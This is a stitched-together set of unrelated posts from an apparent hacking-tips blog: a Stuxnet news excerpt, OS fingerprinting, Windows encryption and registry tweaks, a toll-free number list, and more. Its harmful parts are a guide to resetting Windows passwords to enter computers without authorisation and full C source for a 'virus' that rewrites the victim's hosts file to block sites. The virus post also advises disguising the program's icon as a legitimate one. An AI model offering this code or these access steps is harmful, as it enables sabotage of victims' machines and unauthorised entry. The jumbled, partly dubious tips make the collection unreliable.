Domain E appears to have been targeted once (May 2010), but had three initial infections. (I.e., the same initially infected USB key was inserted into three different computers.)
O Murchu acknowledges that there could have been earlier attacks that occurred before June 2009, but no one has found evidence of this yet.
Symantec found that the shortest time between when the malware was compiled in one case — that is turned from source code into a working piece of software — and the subsequent attack using the code occurred, was just 12 hours. This occurred in the June 2009 attack.
“This tells us that the attackers more than likely knew who they wanted to infect before they completed the code,” O Murchu says. “They knew in advance who they wanted to target and how they were going to get it there.”
Stuxnet was not designed to spread via the internet but via an infected USB stick or some other targeted method within a local network. So the short timeframe between compilation and the launch of the June 2009 attack also suggests that the attackers had immediate access to the computer they attacked — either working with an insider or using an unwitting insider to introduce the infection.

“It could be they sent it to someone who put it on a USB key, or it could have been delivered via spear-phishing,” O Murchu says. “What we do see is that the exploits in Stuxnet are all land-based, so it is not going to spread wildly on the internet. From that, we can assume the attackers wanted to deliver Stuxnet to an organization that was very close to whatever the final destination for Stuxnet was.”
Symantec, working with other security firms, has so far been able to collect and examine 3,280 unique samples of the code. Stuxnet has infected more than 100,000 computers in Iran, Europe and the United States, but it’s designed to only deliver its malicious payload when it finds itself on the final system or systems it’s targeting.
On systems that are not targeted, the worm just sits and finds ways to spread to other computers in search of its target. To date, three variants of Stuxnet have been found (dating to June 2009, March 2010 and April 2010). Symantec believes a fourth variant likely exists, but researchers have not found it yet.
One of the organizations, Domain B, was targeted each time the attackers released a new version of Stuxnet.
“So it looks like they felt that if they got in there, Stuxnet would spread to the [system] they actually wanted to attack,” O Murchu says.
After the worm was discovered in June 2010, Symantec researchers worked on reverse-engineering the code to determine what it was designed to do. Two months later, the company stunned the security community when it revealed that Stuxnet was designed to attack Programmable Logic Controllers (PLCs), something that until then was considered a theoretical attack but had never been proven done. PLCs are components that work with SCADA systems (supervisory control and data acquisition systems) that control critical infrastructure systems and manufacturing facilities.
Shortly after Symantec released this information last August, German researcher Ralph Langner disclosed that Stuxnet was not attacking just any PLC, it was targeted to sabotage a specific facility or facilities. Speculation focused on Iran’s nuclear enrichment plant at Natanz as the likely target. Iran has acknowledged that malicious software struck computers at Natanz and affected centrifuges at the plant, but has not provided any details beyond this.

OS fingerprinting

What is meant by OS fingerprinting?
It must be familiar to UNIX geeks. There are popular tools like nmap that help you identify which hosts run Windows and which hosts run Linux. This can be as specific as even getting to know if a patch or service pack in Windows was installed.
But there is a problem with nmap OS fingerprinting as it uses active fingerprinting. Not a great idea. We want to use passive OS fingerprinting. In passive OS fingerprinting we rely on TCP SYN packets from the remote host to identify the OS. This is quite reliable though it can be trivially spoofed. I would imagine that if we use passive OS fingerprinting we can be reasonably sure about the remote OS.
It can be used as a policy tool to implement firewalling that can protect us against Windows worms or viruses. We can have a logical separation between Windows hosts and other hosts.
Passive OS fingerprinting can help us in many other ways too. We can find out many things that are hidden from the eyes of systems administrators. A tool called p0f is famous for doing passive OS fingerprinting correctly. And OpenBSD pf, the firewall in OpenBSD has inbuilt ability to do fingerprinting. You can also change the string that it displays for identifying the OS by specifying it in a file /etc/pf.os on any OpenBSD machine.
p0f and OpenBSD pf both use the TCP default Window size, time to live, the presence of absence of the DF(dont fragment) bit in IP header, the size of the SYN packet and the options in TCP header to identify the remote OS through passive fingerprinting.
You can identify what software people have installed by looking at the greeting message of TCP protocols by simply connecting to them with netcat. You can know if people use sendmail, postfix or MS Exchange. You can identify the OpenSSH version, you can know which web server people use and many other networking forensic data can be collected.
If you wish to know the countries that hit your web server, then GeoIP can help you lookup IP address and know where the ISP is located. This is not accurate as most free tools don't have the correct database. You have to do some crosschecks before arriving at the right tool.
Network forensic analysis is towing the thin line between hacking and cracking. We are not interested in prying into other people's or other network's innards. But you can use such tools for several useful applications without intruding into other's privacy.
Network scanning is also useful to know which services are running on UNIX hosts and request users to turn off harmful services. NAT is a blessing in disguise because most machines are not accessible to the big bad Internet. If that were not the case we would be having a lot more attacks than now.

how to encrypt/decrypt your files in Windows (XP) (Vista/7)

Exporting Your Current Encryption Key

When you learned how to encrypt your files, you created an encryption key. To export your key for use on another computer or on a new installation of Windows, do the following:

1. Press Winkey+R to open the run dialogue (Start > Run), and type mmc
2. Click File > Add/Remove Snap in…
3. Select Certificates and click Add
4. Click My user account and click Finish. Click Close. Click OK.
5. At the console root, expand Certificates – Current User > Personal > Certificates. Now right click on your user name and click All Tasks > Export…
6. Unless you want to change them, keep the defaults and give your exported file a name.

Importing Your Backed Up Certificate

Press the Winkey+R to open the run dialogue, and type mmc

At the console root, expand Certificates – Current User > Personal > Certificates. On a blank area in the right-hand pane right click and click All Tasks > Import… (If you do not see Certificates in the left-hand menu, follow steps 2-4 above)

Click Next

Locate your backed up file and click Next

Type in the key’s password (set when you created it), and check Mark key as exportable if you would like the option to transfer it, again, in the future. Check Include all extended properties and click Next

Choose to store the certificate in your personal store and click Next

Click Finish

You will be notified of the success of the import. You can now access your encrypted files again

How to Hack Windows Administrator Password

This hack will show you how to reset Windows administrator password (for Win 2000, XP, Vista and Win 7) at times when you forget it or when you want to gain access to a computer for which you do not know the password.

Most of us have experienced a situation where in we need to gain access to a computer which is password protected or at times we may forget the administrator password without which it becomes impossible to login to the computer. So here is an excellent hack using which you can reset the password or make the password empty (remove the password) so that you can gain administrator access to the computer. You can do this with a small tool called  Offline NT Password & Registry Editor. This utility works offline, that means you need to shut down your computer and boot off your using a floppy disk, CD or USB device (such as pen drive). The tool has the following features.

• You do not need to know the old password to set a new one
• Will detect and offer to unlock locked or disabled out user accounts!
• There is also a registry editor and other registry utilities that works under linux/unix, and can be used for other things than password editing.

 

How it works?

 

Most Windows operating systems stores the login passwords and other encrypted passwords in a file called sam (Security Accounts Manager). This file can be usually found in \windows\system32\config. This file is a part of Windows registry and remains inaccessible as long as the OS is active. Hence it is necessary that you need to boot off your computer and access this sam file via boot. This tool intelligently gains access to this file and will reset/remove the password associated with administrator or any other account.

The download link for both CD and floppy drives along with the complete instructions is given below
Offline NT Password & Reg Editor Download

It is recommended that you download the CD version of the tool since floppy drive is outdated and doesn’t exist in today’s computer. Once you download you’ll get a bootable image which you need to burn it onto your CD. Now boot your computer from this CD and follow the screen instructions to reset the password.

 

Another simple way to reset non-administrator account passwords

 

Here is another simple way through which you can reset the password of any non-administrator accounts. The only requirement for this is that you need to have administrator privileges. Here is a step-by-step instruction to accomplish this task.

1. Open the command prompt (Start->Run->type cmd->Enter)
2. Now type net user and hit Enter
3. Now the system will show you a list of user accounts on the computer. Say for example you need to reset the password of the account by name John, then do as follows
4. Type net user John * and hit Enter. Now the system will ask you to enter the new password for the account. That’s it. Now you’ve successfully reset the password for John without knowing his old password.

How to Detect Anonymous IP Addresses

As the fraudsters are now becoming more sophisticated in bypassing the Geo-location controls by using proxies (Anonymous IPs) to spoof their IP address, it has become very much necessary to come up with a means for detecting the proxies so that the authenticity of the users can be verified. Using a proxy (web proxy) is the simplest and easiest way to conceal the IP address of an Internet user and maintain the online privacy. However proxies are more widely used by online fraudsters to engage in cyber crimes since it is the easiest way to hide their actual Geo-location such as city/country through a spoofed IP address. Following are some of the examples where fraudsters use the proxies to hide their actual IP.

 

1. Credit Card Frauds

For example, say a Nigerian fraudster tries to purchase goods online with a stolen credit card for which the billing address is associated with New York. Most credit card merchants use Geo-location to block orders from countries like Nigeria and other high risk countries. So in order to bypass this restriction the credit card fraudster uses a proxy to spoof his IP address so that it appears to have come from New York. The IP address location appears to be legitimate since it is in the same city as the billing address. A proxy check would be needed to flag this order.

 

2. Bypass Website Country Restrictions

Some website services are restricted to users form only a selected list of countries. For example, a paid survey may be restricted only to countries like United States and Canada. So a user from say China may use a proxy so as to make his IP appear to have come from U.S. so that he can earn from participating in the paid survey.

 

Proxy Detection Services

 

So in order to stop such online frauds, Proxy Detection has become a critical component. Today most companies, credit card merchants and websites that deal with e-commerce transactions make use of Proxy Detection Services like MaxMind and FraudLabs to detect the usage of proxy or spoofed IP from users participating online.

Proxy Detection web services allow instant detection of anonymous IP addresses. Even though the use of proxy address by users is not a direct indication of fraudulent behaviour, it can often indicate the intention of the user to hide his or her real IP. In fact, some of the most used ISPs like AOL and MSN are forms of proxies and are used by both good and bad consumers.

 

How Proxy Detection Works?

Proxy detection services often rely on IP addresses to determine whether or not the IP is a proxy. Merchants can obtain the IP address of the users from the HTTP header on the order that comes into their website. This IP address is sent to the proxy detecting service in real time to confirm it’s authenticity.

The proxy detection services on the other hand compare this IP against a known list of flagged IPs that belong to proxy services. If the IP is not on the list then it is authenticated and the confirmation is sent back to the merchant. Otherwise it is reported to be a suspected proxy. These proxy detection services work continuously to grab a list or range of IPs that are commonly used for proxy services. With this it is possible to tell whether or not a given IP address is a proxy or spoofed IP.

 

How to Tell Whether a given IP is Real or a Proxy?

There are a few free sites that help you determine whether or not a given IP is a proxy. You can use free services like WhatisMyIPAddress to detect proxy IPs. Just enter the suspected IP in the field and click on “Lookup IP Address” button to check the IP address. If it is a suspected proxy then you will see the results something as follows.

So for all those who think that they can escape by using a spoofed IP, this post is the answer. I hope this information helps.

XP SysKey Trick

If you have Windows XP then I really think you're going to like this week's security tip. Are you in a situation where you really don't want anybody accessing the family PC while you're not around? Maybe you don't want anybody to use your computer at all. Maybe you just want a little tighter control over when and by whom your PC gets used. If any of these situations sounds like yours then read on.

 

This week's security tip is on the syskey command. The syskey is a command line tool to help you enable your Startup Key. Without getting too techy on you, the Startup key is a complex algorithm that if configured can stop anyone from logging on to your system who doesn't poses the key. No startup screen or user accounts will be available until you present the key, you're basically looking at a black screen with one small lonely window asking for the Startup Key to gain access. The Startup Key, which is a floppy disk with the appropriate key code, simply needs to be inserted into the floppy drive, and activated. This will satisfy the security request and allow you to proceed to the login screen. If you don't have a floppy drive then I'm afraid you might as well stop reading now.

The Startup Key is created when you enable the Startup Key process as described later in this article. One thing you must keep in mind, and is of the utmost importance, you should make at least one copy of this floppy, test it to insure that it works, and put it in a safe place. If you lose this Key you will not be able to log into you Operating System. You may even want to make a third copy to keep off-site. If you do lose your Startup key then your only option is to use a Restore Disk (If you have one) to restore your registry to a state it was prior to the enabling of Startup Key.

OK, if this sounds like a security measure you would like to put into action then follow the directions below. Again, please make at least one copy of this disk so you don't lock yourself out of your system and send me a bunch of hate e-mail. Well, with that said twice I guess it's show time. The directions below will help you get things set up, and below that I have attached a link out to Microsoft's information on this so you can look it over.

CONFIGURING STARTUP KEY:

* Go to Start/Run and in the blank field type "syskey" press enter, or OK.
* You should see a small window titled "Securing the Windows XP Account Database". From this Window select the "Update" button to move to the next window.
* The "Startup Key" is the next window. You'll see a couple of options there, but the one we are looking for says "Startup Key on floppy disk", along with some warning about how your system is going to startup now.
* After selecting this click OK, and a pop-up will alert you that the key has been changed. Another message follows asking you to insert a disk in drive A: (Floppy drive).
* Insert the floppy, click OK, and one more window will come up telling you that the Key has been changed and you need to have this floppy disk in order to log into Windows. That's exactly what we want.

When you're all done go ahead and eject the floppy (you might want to slide the little lock up on the floppy to insure you don't format it on accident), and restart the PC. Windows will appear to come up normally, but after it loads the kernel the "Windows XP Startup Key Disk" window pops-up. Grab your Startup Key floppy put it in the floppy drive, and select OK. You'll see Windows load up and bring you to your user logon screen.

I told you this is a cool trick and really helps lock down you PC. I hope you get some use out of this, but please be careful.

A Virus Program to Block Websites

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post How to Block a Website ?

Here is the sourcecode of the virus.

#include<stdio.h>
#include<dos.h>
#include<dir.h> char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

How to Compile ?

For step-by-step compilation guide, refer my post How to compile C Programs.

Testing

1. To test, run the compiled module. It will block the sites that is listed in the source code.

2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

3. To remove the virus type the following the Run.

%windir%\system32\drivers\etc

4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1                                google.com

5. Delete all such entries which contain the names of blocked sites.

 

NOTE: You can also change the ICON of the virus to make it look like a legitimate program.This method is described in the post: How to Change the ICON of an EXE file ?

Setting the Recycle Bin to Always Delete

The Recycle Bin is the special folders of windows on the hard disk to store deleted files and folders. These files or folders can be restored from the Recycle Bin to their original location if required for use. But you can set the Recycle Bin setting that the files and folders are deleted from hard disk are not placed in the Recycle Bin. So with the help of windows registry editor you can set the Recycle Bin to always delete items.

Follow the given steps to edit computer registry for Recycle Bin:

• First click on Start button then type Regedit in Run option.

• Here locate the location to:
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ Explorer\BitBucket
• Here in right side panel, double click on NukeOnDelete and set its value 1. Now close the registry editor and restart your computer after any changes to go into effect.

How to prevent users from writing to USB drives?

Today USB drive also known as keychain drive is becoming the most popular removable storage device to move data to different locations. USB drives are available in the market with different features, for example password protected, compatible with all windows versions and extra storage capacity (up to 65 GB). 

A common security issue at organizations is how to prevent their workers to write data onto USB drives using their PCs, because a user can easily move confidential data for other location.

If you have windows XP with SP2, then you can disable the writing option to USB drives.

Follow the given steps to disable the USB writing option: 

To edit the computer registry, first you should log onto your computer with administrative rights. 

First click on Start button and type "Regedit" in Run option.

Here locate the location to: 

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control

Here in right side panel, click right to create a key with the name "StorageDevicePolicies".

Now in left side panel, select "StorageDevicePolicies" key, again right click to create new DWORD value then label it "WriteProtect".

Set its value to "1". But again enable this option set its values "0".

Now close the registry editor and restart your computer after any changes to go into effect.

How to increase the processor power of your computer?

Today tip is very useful for those users who are still using computer with minimum processor speed. To increase the performance of slow computer, you can force your system to free up the idle tasks that are running in the background and sharing processor power. This end tasks method force the computer to devote its full processor resource to what you want it to do.

Follow the given steps to end the idle tasks:

• To enable this feature, you will need to be logged into your computer with administrative rights.
• Click Start button and click on Run option.
• In the Run box, type the command Rundll32.exe advapi32.dll,ProcessIdleTasks  command and press Ok button.
• 

• Here system will take some time to end the background idle tasks.

Automatic Screen Refresh

When you are working on your local computer and want to refresh any changes in your system automatically. For example some times you are watching sports results, online Stock Exchange rates and any changes to your hard drive but these changes are not usually refreshed until you press the F5 key on your keyboard.

To refresh your screen automatically you should edit your system Registry. But the best technique to edit the windows registry keys, always export or backup the whole windows registry keys on backup drive before editing. Because any mistake in Registry can cause serious problem in your computer to run properly.

Follow the given steps to change the updates automatically.

• First click on Start button then type Regedit in Run option.
• In Registry Editor panel go to the path:
• HKEY_LOCAL_MACHINE / System / CurrentControlSet /

        Control / UpdateMode

• Here in right hand side panel edit the DWORD value to be between 1 and 5.
• Now restart your computer after any changes to go into effect.

Toll Free Number in INDIA

Airways

Indian Airlines – 1800 180 1407
Jet Airways – 1800 22 5522
SpiceJet – 1800 180 3333

Automobiles

Mahindra Scorpio – 1800 22 6006
Maruti – 1800 111 515 Tata Motors – 1800 22 5552
Windshield Experts – 1800 11 3636


Banks

ABN AMRO – 1800 11 2224
Canara Bank – 1800 44 6000
Citibank – 1800 44 2265 Corporatin Bank – 1800 443 555
Development Credit Bank – 1800 22 5769
HDFC Bank – 1800 227 227
ICICI Bank – 1800 333 499
ICICI Bank NRI – 1800 22 4848
IDBI Bank – 1800 11 6999
Indian Bank – 1800 425 1400
ING Vysya – 1800 44 9900
Kotak Mahindra Bank – 1800 22 6022
Lord Krishna Bank – 1800 11 2300
Punjab National Bank – 1800 122 222
State Bank of India – 1800 44 1955
Syndicate Bank – 1800 44 6655


Cell Phones


BenQ – 1800 22 08 08
Bird CellPhones – 1800 11 7700
Motorola MotoAssist – 1800 11 1211
Nokia – 3030 3838
Sony Ericsson – 3901 1111


Computers/

IT Adrenalin – 1800 444 445 AMD – 1800 425 6664 Apple Computers – 1800 444 683
Canon – 1800 333 366 Cisco Systems – 1800 221 777
Compaq – HP – 1800 444 999
Data One Broadband – 1800 424 1800
Dell – 1800 444 026 Epson – 1800 44 0011 eSys – 3970 0011 Genesis Tally Academy – 1800 444 888
HCL – 1800 180 8080 IBM – 1800 443 333 Lexmark – 1800 22 4477 Marshal ’s Point – 1800 33 4488
Microsoft – 1800 111 100 Microsoft Virus Update – 1901 333 334 Seagate – 1800 180 1104 Symantec – 1800 44 5533 TVS Electronics – 1800 444 566
WeP Peripherals – 1800 44 6446
Wipro – 1800 333 312 xerox – 1800 180 1225 Zenith – 1800 222 004 Couriers/Packers &
Movers ABT Courier – 1800 44 8585
AFL Wizz – 1800 22 9696

Agarwal Packers & Movers
– 1800 11 4321 Associated Packers P Ltd – 1800 21 4560
DHL – 1800 111 345 FedEx – 1800 22 6161 Goel Packers & Movers – 1800 11 3456
UPS – 1800 22 7171


Education


Edu Plus – 1800 444 000 Hindustan College – 1800 33 4438
NCERT – 1800 11 1265 Vellore Institute of
Technology – 1800 441 555 Healthcare Best on Health – 1800 11 8899
Dr Batras – 1800 11 6767 GlaxoSmithKline – 1800 22 8797
Johnson & Johnson – 1800 22 8111
Kaya Skin Clinic – 1800 22 5292
LifeCell – 1800 44 5323 Manmar Technologies – 1800 33 4420
Pfizer – 1800 442 442 Roche Accu-Chek – 1800 11 45 46
Rudraksha – 1800 21 4708 Varilux Lenses – 1800 44 8383
VLCC – 1800 33 1262 Home Appliances Aiwa/Sony – 1800 11 1188
Anchor Switches – 1800 22 7979 Blue Star – 1800 22 2200 Bose Audio – 1800 11 2673
Bru Coffee Vending Machines – 1800 44 7171 Daikin Air Conditioners – 1800 444 222
DishTV – 1800 12 3474 Faber Chimneys – 1800 21 4595
Godrej – 1800 22 5511 Grundfos Pumps – 1800 33 4555
LG – 1901 180 9999 Philips – 1800 22 4422 Samsung – 1800 113 444 Sanyo – 1800 11 0101 Voltas – 1800 33 4546 WorldSpace Satellite Radio
– 1800 44 5432 Hotel Reservations GRT Grand – 1800 44 5500 InterContinental Hotels Group – 1800 111 000 Marriott – 1800 22 0044 Sarovar Park Plaza – 1800 111 222
Taj Holidays – 1800 111 825 Insurance AMP Sanmar – 1800 44 2200
Aviva – 1800 33 2244 Bajaj Allianz – 1800 22 5858
Chola MS General Insurance
– 1800 44 5544 HDFC Standard Life – 1800 227 227
LIC – 1800 33 4433 Max New York Life – 1800 33 5577
Royal Sundaram – 1800 33 8899
SBI Life Insurance – 1800 22 9090 Mattresses Kurl-on – 1800 44 0404 Sleepwell – 1800 11 2266 Investments/Finance CAMS – 1800 44 2267 Chola Mutual Fund – 1800 22 2300

Easy IPO ’s – 3030 5757

Fidelity Investments –

1800 180 8000 Franklin Templeton Fund – 1800 425 4255
J M Morgan Stanley – 1800 22 0004
Kotak Mutual Fund – 1800 222 626
LIC Housing Finance – 1800 44 0005
SBI Mutual Fund – 1800 22 3040
Sharekhan – 1800 22 7500 Tata Mutual Fund – 1800 22 0101 Paints Asian Paints Home
Solutions – 1800 22 5678 Berger Paints Home Decor – 1800 33 8800 Teleshopping Asian Sky Shop – 1800 22 1800
Jaipan Teleshoppe – 1800 11 5225
Tele Brands – 1800 11 8000
VMI Teleshopping – 1800 447 777
WWS Teleshopping – 1800 220 777 Travel Club Mahindra Holidays – 1800 33 4539
Cox & Kings – 1800 22 1235
God TV Tours – 1800 442 777
Kerala Tourism – 1800 444 747
Kumarakom Lake Resort – 1800 44 5030
Raj Travels & Tours – 1800 22 9900
Sita Tours – 1800 111 911 SOTC Tours – 1800 22 3344 UPS APC – 1800 44 4272 Numeric – 1800 44 3266


Others Consumer


Helpline – 1800 11 4000
L’Or?al, GARNIeR – 1800 223 000
KONE Elevator – 1800 444 666
Indane – 1800 44 51 15 Aavin – 1800 44 3300 Pedigree – 1800 11 2121 Kodak India – 1800 22 8877
Domino’s Pizza – 1800 111 123
World Vision India – 1800 444 550
Telecom Monitoring Cell – 1800 110 420

Create your own search engine in three

1. open website http://www.funnylogo.info/create.asp 

2. enter your search engine name 

3. select style as per u like 

4. click on create my search engine p 

5. finally u gets ur search engine 

 

note: actuall mechanism is there that u have only replace google name with ur own rest of remains same. * this page u can put on ur personal website or bl...

You might also like:

• wanna have ur own proxy server {ENTER HERE}
• Hack Any Website - Using JavaScript
• Create a CookieLogger and Hack any Account

Make Your PC Talk

Open a text file in notepad and write: Dim msg, sapimsg=InputBox("Enter your text","Talk it from hackerz7.tk")Set sapi=CreateObject("sapi.spvoice") sapi.Speak msg Save the file with a (*.vbs) extension, it will create a VBScript File. It will prompt you for a text when u open the file, input the text and press ok. u will hear what u typed this works in xp,may be in vista also.